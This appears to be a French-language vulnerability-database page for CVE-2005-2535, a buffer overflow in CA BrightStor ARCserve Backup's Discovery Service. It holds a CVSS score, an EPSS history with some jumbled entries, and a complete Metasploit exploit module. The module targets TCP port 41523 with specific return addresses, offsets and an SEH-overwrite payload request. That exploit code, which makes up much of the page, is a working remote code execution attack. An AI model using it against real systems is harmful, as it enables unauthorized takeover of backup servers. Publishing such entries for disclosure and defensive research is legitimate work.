CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Buffer overflow in the Discovery Service in BrightStor ARCserve Backup 9.0 through 11.1 allows remote attackers to execute arbitrary commands via a large packet to TCP port 41523, a different vulnerability than CVE-2005-0260.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
77.39%
–
–
2023-03-12
–
–
–
13.37%
–
2023-07-02
–
–
–
13.35%
–
2023-12-03
–
–
–
15.44%
–
2024-02-11
–
–
–
15.44%
–
2024-06-02
–
–
–
15.44%
–
2024-07-21
–
–
–
18.35%
–
2024-12-22
–
–
–
84.99%
–
2025-02-16
–
–
–
85.29%
–
2025-01-19
–
–
–
84.99%
–
2025-02-16
–
–
–
85.29%
–
2025-03-18
–
–
–
–
84.2%
2025-03-30
–
–
–
–
79.77%
2025-03-30
–
–
–
–
79.77,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2010-04-29 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: discovery_tcp.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'CA BrightStor Discovery Service TCP Overflow',
'Description' => %q{
This module exploits a vulnerability in the CA BrightStor
Discovery Service. This vulnerability occurs when a specific
type of request is sent to the TCP listener on port 41523.
This vulnerability was discovered by cybertronic[at]gmx.net
and affects all known versions of the BrightStor product.
This module is based on the 'cabrightstor_disco' exploit by
Thor Doomen.
},
'Author' => [ 'hdm', 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE', '2005-2535'],
[ 'OSVDB', '13814'],
[ 'BID', '12536'],
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html'],
[ 'URL', 'http://milw0rm.com/exploits/1131'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 2048,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[
'cheyprod.dll 9/14/2000', # Build 1220.0 9/14/2000 7.0.1220.0
{
'Platform' => 'win',
'Ret' => 0x23803b20, # pop/pop/ret
'Offset' => 1032,
},
],
[
'cheyprod.dll 12/12/2003',
{
'Platform' => 'win',
'Ret' => 0x23805714, # pop/pop/ret
'Offset' => 1024,
},
],
[
'cheyprod.dll 07/21/2004',
{
'Platform' => 'win',
'Ret' => 0x23805d10, # pop/pop/ret
'Offset' => 1024,
},
],
],
'DisclosureDate' => 'Feb 14 2005',
'DefaultTarget' => 1))
register_options(
[
Opt::RPORT(41523)
], self.class)
end
def check
# The first request should have no reply
csock = Rex::Socket::Tcp.create(
'PeerHost' => datastore['RHOST'],
'PeerPort' => datastore['RPORT'],
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
})
csock.put('META')
x = csock.get_once(-1, 3)
csock.close
# The second request should be replied with the host name
csock = Rex::Socket::Tcp.create(
'PeerHost' => datastore['RHOST'],
'PeerPort' => datastore['RPORT'],
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
})
csock.put('hMETA')
y = csock.get_once(-1, 3)
csock.close
if (y and not x)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
connect
print_status("Trying target #{target.name}...")
buf = rand_text_english(4096)
# Overwriting the return address works well, but the only register
# pointing back to our code is 'esp'. The following stub overwrites
# the SEH frame instead, making things a bit easier.
seh = generate_seh_payload(target.ret)
buf[target['Offset'], seh.length] = seh
# Make sure the return address is invalid to trigger SEH
buf[ 900, 100] = (rand(127)+128).chr * 100
# SERVICEPC is the client host name actually =P (thanks Juliano!)
req = "\x9b" + 'SERVICEPC' + "\x18" + [0x01020304].pack('N') + 'SERVICEPC' + "\x01\x0c\x6c\x93\xce\x18\x18\x41"
req << buf
sock.put(req)
sock.get_once
handler
disconnect
end
end